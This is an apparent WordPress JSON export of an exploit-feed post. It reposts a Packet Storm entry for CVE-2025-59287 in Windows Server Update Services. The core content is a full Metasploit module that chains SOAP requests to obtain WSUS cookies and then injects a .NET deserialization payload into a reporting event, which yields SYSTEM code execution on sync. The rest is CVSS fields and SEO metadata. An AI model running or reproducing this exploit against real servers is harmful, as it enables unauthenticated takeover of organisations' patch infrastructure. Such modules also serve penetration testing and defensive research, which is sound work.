{"id":25956,"date":"2025-11-12T11:37:35","date_gmt":"2025-11-12T11:37:35","guid":{"rendered":"http:\/\/localhost\/?p=25956"},"modified":"2025-11-12T11:37:35","modified_gmt":"2025-11-12T11:37:35","slug":"windows-server-update-service-deserialization-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=25956","title":{"rendered":"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-12T16:37:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a deserialization vulnerability in&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211560&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = GreatRanking\\n    \\n      include Exploit::Remote::HttpClient\\n      include Msf::Util::DotNetDeserialization\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Windows Server Update Service Deserialization Remote Code Execution&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits deserialization vulnerability in legacy serialization mechanism in Windows Server Update Services (WSUS). The vulnerability allows unauthenticated attacker to create specially crafted event, which triggers unsafe deserialization upon server synchronization. The module does not require any other options and upon successful exploitation, the payload is executed in context of administrator.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;mwulftange&#8217;, # security research\\n              &#8216;msutovsky-r7&#8217; # module development\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [ &#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1190_EXPLOIT_PUBLIC_FACING_APPLICATION],\\n              [ &#8216;URL&#8217;, &#8216;https:\/\/code-white.com\/blog\/wsus-cve-2025-59287-analysis\/&#8217;],\\n              [ &#8216;CVE&#8217;, &#8216;2025-59287&#8217;]\\n            ],\\n            &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n            &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;RPORT&#8217; =\\u003e &#8216;8530&#8217;,\\n              &#8216;WfsDelay&#8217; =\\u003e 900 # need to wait for WSUS to try synchronize\\n            },\\n            &#8216;Targets&#8217; =\\u003e [\\n              [ &#8216;Windows&#8217;, {}]\\n            ],\\n    \\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-10-14&#8217;,\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SERVICE_RESTARTS],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, SCREEN_EFFECTS]\\n            }\\n          )\\n        )\\n      end\\n    \\n      def get_soap_response_xml(path, soap_action, data)\\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e path,\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;SOAPAction&#8217; =\\u003e soap_action\\n          },\\n          &#8216;ctype&#8217; =\\u003e &#8216;text\/xml&#8217;,\\n          &#8216;data&#8217; =\\u003e data\\n        })\\n    \\n        fail_with(Failure::UnexpectedReply, &#8216;Received unexpected response from WSUS&#8217;) unless res\\u0026.code == 200\\n        xml = res.get_xml_document\\n        xml.remove_namespaces!\\n        xml\\n      end\\n    \\n      def get_server_id\\n        soap_body = \\u003c\\u003c~XML\\n          \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;utf-8\\&#8221;?\\u003e\\n          \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n          \\u003csoap:Body\\u003e\\n          \\u003cGetRollupConfiguration xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\\&#8221;\\u003e\\n          \\u003ccookie xmlns:i=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221; i:nil=\\&#8221;true\\&#8221;\/\\u003e\\n          \\u003c\/GetRollupConfiguration\\u003e\\n          \\u003c\/soap:Body\\u003e\\n          \\u003c\/soap:Envelope\\u003e\\n        XML\\n    \\n        xml = get_soap_response_xml(normalize_uri(&#8216;ReportingWebService&#8217;, &#8216;ReportingWebService.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/GetRollupConfiguration&#8217;, soap_body)\\n    \\n        @server_id = xml.xpath(&#8216;\/\/ServerId&#8217;).text.to_s\\n    \\n        fail_with(Failure::Unknown, &#8216;Failed to get server ID&#8217;) unless @server_id\\n      end\\n    \\n      def get_auth_cookie\\n        soap_body = \\u003c\\u003c~XML\\n          \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;utf-8\\&#8221;?\\u003e\\n          \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n          \\u003csoap:Body\\u003e\\n          \\u003cGetAuthorizationCookie xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/SimpleAuthWebService\\&#8221;\\u003e\\n          \\u003cclientId\\u003e#{@server_id}\\u003c\/clientId\\u003e\\n          \\u003ctargetGroupName\\u003e\\u003c\/targetGroupName\\u003e\\n          \\u003cdnsName\\u003e#{Rex::Text.rand_text_alpha_lower(4..8)}\\u003c\/dnsName\\u003e\\n          \\u003c\/GetAuthorizationCookie\\u003e\\n          \\u003c\/soap:Body\\u003e\\n          \\u003c\/soap:Envelope\\u003e\\n        XML\\n    \\n        xml = get_soap_response_xml(normalize_uri(&#8216;SimpleAuthWebService&#8217;, &#8216;SimpleAuth.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/SimpleAuthWebService\/GetAuthorizationCookie&#8217;, soap_body)\\n    \\n        @auth_cookie = xml.xpath(&#8216;\/\/CookieData&#8217;).text.to_s\\n        @plugin_id = xml.xpath(&#8216;\/\/PlugInId&#8217;).text.to_s\\n        fail_with(Failure::Unknown, &#8216;Failed to get authentication cookie&#8217;) unless @auth_cookie \\u0026\\u0026 @plugin_id\\n      end\\n    \\n      def get_reporting_parameters\\n        timenow = Time.now.strftime(&#8216;%Y-%m-%dT%H:%M:%SZ&#8217;)\\n    \\n        soap_body = \\u003c\\u003c~XML\\n          \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;utf-8\\&#8221;?\\u003e\\n          \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n          \\u003csoap:Body\\u003e\\n          \\u003cGetCookie xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/ClientWebService\\&#8221;\\u003e\\n          \\u003cauthCookies\\u003e\\n          \\u003cAuthorizationCookie\\u003e\\n          \\u003cPlugInId\\u003e#{@plugin_id}\\u003c\/PlugInId\\u003e\\n          \\u003cCookieData\\u003e#{@auth_cookie}\\u003c\/CookieData\\u003e\\n          \\u003c\/AuthorizationCookie\\u003e\\n          \\u003c\/authCookies\\u003e\\n          \\u003coldCookie xmlns:i=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221; i:nil=\\&#8221;true\\&#8221;\/\\u003e\\n          \\u003clastChange\\u003e#{timenow}\\u003c\/lastChange\\u003e\\n          \\u003ccurrentTime\\u003e#{timenow}\\u003c\/currentTime\\u003e\\n          \\u003cprotocolVersion\\u003e1.20\\u003c\/protocolVersion\\u003e\\n          \\u003c\/GetCookie\\u003e\\n          \\u003c\/soap:Body\\u003e\\n          \\u003c\/soap:Envelope\\u003e\\n        XML\\n    \\n        xml = get_soap_response_xml(normalize_uri(&#8216;ClientWebService&#8217;, &#8216;Client.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/ClientWebService\/GetCookie&#8217;, soap_body)\\n    \\n        @encrypted_data = xml.xpath(&#8216;\/\/EncryptedData&#8217;).text.to_s\\n        @expiration = xml.xpath(&#8216;\/\/Expiration&#8217;).text.to_s\\n    \\n        fail_with(Failure::Unknown, &#8216;Failed to get reporting parameters&#8217;) unless @encrypted_data \\u0026\\u0026 @expiration\\n      end\\n    \\n      def create_malicious_event\\n        timenow = Time.now.strftime(&#8216;%Y-%m-%dT%H:%M:%SZ&#8217;)\\n        payload_data = ::Msf::Util::DotNetDeserialization.generate(\\n          payload.encoded,\\n          gadget_chain: :WindowsIdentity,\\n          formatter: :SoapFormatter\\n        )\\n    \\n        soap_body = \\u003c\\u003c~XML\\n          \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221; xmlns:xsi=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221; xmlns:xsd=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema\\&#8221; xmlns:soapenc=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221;\\u003e\\n          \\u003csoap:Body\\u003e\\n          \\u003cReportEventBatch xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\\&#8221;\\u003e\\n          \\u003ccookie\\u003e\\n          \\u003cExpiration\\u003e#{@expiration}\\u003c\/Expiration\\u003e\\n          \\u003cEncryptedData\\u003e#{@encrypted_data}\\u003c\/EncryptedData\\u003e\\n          \\u003c\/cookie\\u003e\\n          \\u003cclientTime\\u003e#{timenow}\\u003c\/clientTime\\u003e\\n          \\u003ceventBatch xmlns:q1=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\\&#8221; soapenc:arrayType=\\&#8221;q1:ReportingEvent[1]\\&#8221;\\u003e\\n          \\u003cReportingEvent\\u003e\\n          \\u003cBasicData\\u003e\\n          \\u003cTargetID\\u003e\\n          \\u003cSid\\u003e#{SecureRandom.uuid.strip}\\u003c\/Sid\\u003e\\n          \\u003c\/TargetID\\u003e\\n          \\u003cSequenceNumber\\u003e0\\u003c\/SequenceNumber\\u003e\\n          \\u003cTimeAtTarget\\u003e#{timenow}\\u003c\/TimeAtTarget\\u003e\\n          \\u003cEventInstanceID\\u003e#{SecureRandom.uuid.strip}\\u003c\/EventInstanceID\\u003e\\n          \\u003cNamespaceID\\u003e2\\u003c\/NamespaceID\\u003e\\n          \\u003cEventID\\u003e389\\u003c\/EventID\\u003e\\n          \\u003cSourceID\\u003e301\\u003c\/SourceID\\u003e\\n          \\u003cUpdateID\\u003e\\n          \\u003cUpdateID\\u003e#{SecureRandom.uuid.strip}\\u003c\/UpdateID\\u003e\\n          \\u003cRevisionNumber\\u003e0\\u003c\/RevisionNumber\\u003e\\n          \\u003c\/UpdateID\\u003e\\n          \\u003cWin32HResult\\u003e0\\u003c\/Win32HResult\\u003e\\n          \\u003cAppName\\u003e#{Rex::Text.rand_text_alpha_lower(4..8)}\\u003c\/AppName\\u003e\\n          \\u003c\/BasicData\\u003e\\n          \\u003cExtendedData\\u003e\\n          \\u003cMiscData soapenc:arrayType=\\&#8221;xsd:string[2]\\&#8221;\\u003e\\n          \\u003cstring\\u003eAdministrator=SYSTEM\\u003c\/string\\u003e\\n          \\u003cstring\\u003eSynchronizationUpdateErrorsKey=#{Rex::Text.html_encode(payload_data)}\\u003c\/string\\u003e\\n          \\u003c\/MiscData\\u003e\\n          \\u003c\/ExtendedData\\u003e\\n          \\u003cPrivateData\\u003e\\n          \\u003cComputerDnsName\\u003e\\u003c\/ComputerDnsName\\u003e\\n          \\u003cUserAccountName\\u003e\\u003c\/UserAccountName\\u003e\\n          \\u003c\/PrivateData\\u003e\\n          \\u003c\/ReportingEvent\\u003e\\n          \\u003c\/eventBatch\\u003e\\n          \\u003c\/ReportEventBatch\\u003e\\n          \\u003c\/soap:Body\\u003e\\n          \\u003c\/soap:Envelope\\u003e\\n        XML\\n    \\n        xml = get_soap_response_xml(normalize_uri(&#8216;ReportingWebService&#8217;, &#8216;ReportingWebService.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/ReportEventBatch&#8217;, soap_body)\\n    \\n        fail_with(Failure::PayloadFailed, &#8216;Failed to create malicious report, target might be not vulnerable&#8217;) unless xml.xpath(&#8216;\/\/ReportEventBatchResult&#8217;).text.to_s == &#8216;true&#8217;\\n      end\\n    \\n      ##\\n      # Could not find better way to check if target is running vulnerable WSUS, leaving it for now with checking for presence of WSUS\\n      ##\\n      def check\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n        })\\n        return CheckCode::Safe(&#8216;Target does not run WSUS&#8217;) unless res\\u0026.code == 200 \\u0026\\u0026 res.headers[&#8216;Server&#8217;] == &#8216;Microsoft-IIS\/10.0&#8217;\\n    \\n        CheckCode::Detected(&#8216;Target is probably running WSUS&#8217;)\\n      end\\n    \\n      def exploit\\n        vprint_status(&#8216;Getting server ID&#8217;)\\n        get_server_id\\n        vprint_status(&#8216;Getting authentication cookie&#8217;)\\n        get_auth_cookie\\n        vprint_status(&#8216;Getting reporting cookie&#8217;)\\n        get_reporting_parameters\\n        vprint_status(&#8216;Trying to create malicious event&#8217;)\\n        create_malicious_event\\n        vprint_status(&#8216;Created malicious event, now waiting for WSUS to sync&#8217;)\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/211560&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/211560\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-12T16:37:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a deserialization vulnerability in&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211560&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-25956","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=25956\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-12T16:37:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a deserialization vulnerability in&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211560&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=25956\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-12T11:37:35+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25956#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25956\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560\",\"datePublished\":\"2025-11-12T11:37:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25956\"},\"wordCount\":1641,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25956#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25956\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25956\",\"name\":\"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-12T11:37:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25956#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25956\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25956#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=25956","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-12T16:37:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a deserialization vulnerability in&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211560&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source:...","og_url":"https:\/\/zero.redgem.net\/?p=25956","og_site_name":"zero redgem","article_published_time":"2025-11-12T11:37:35+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=25956#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=25956"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560","datePublished":"2025-11-12T11:37:35+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=25956"},"wordCount":1641,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=25956#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=25956","url":"https:\/\/zero.redgem.net\/?p=25956","name":"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-12T11:37:35+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=25956#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=25956"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=25956#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Windows Server Update Service Deserialization Remote Code Execution_PACKETSTORM:211560"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 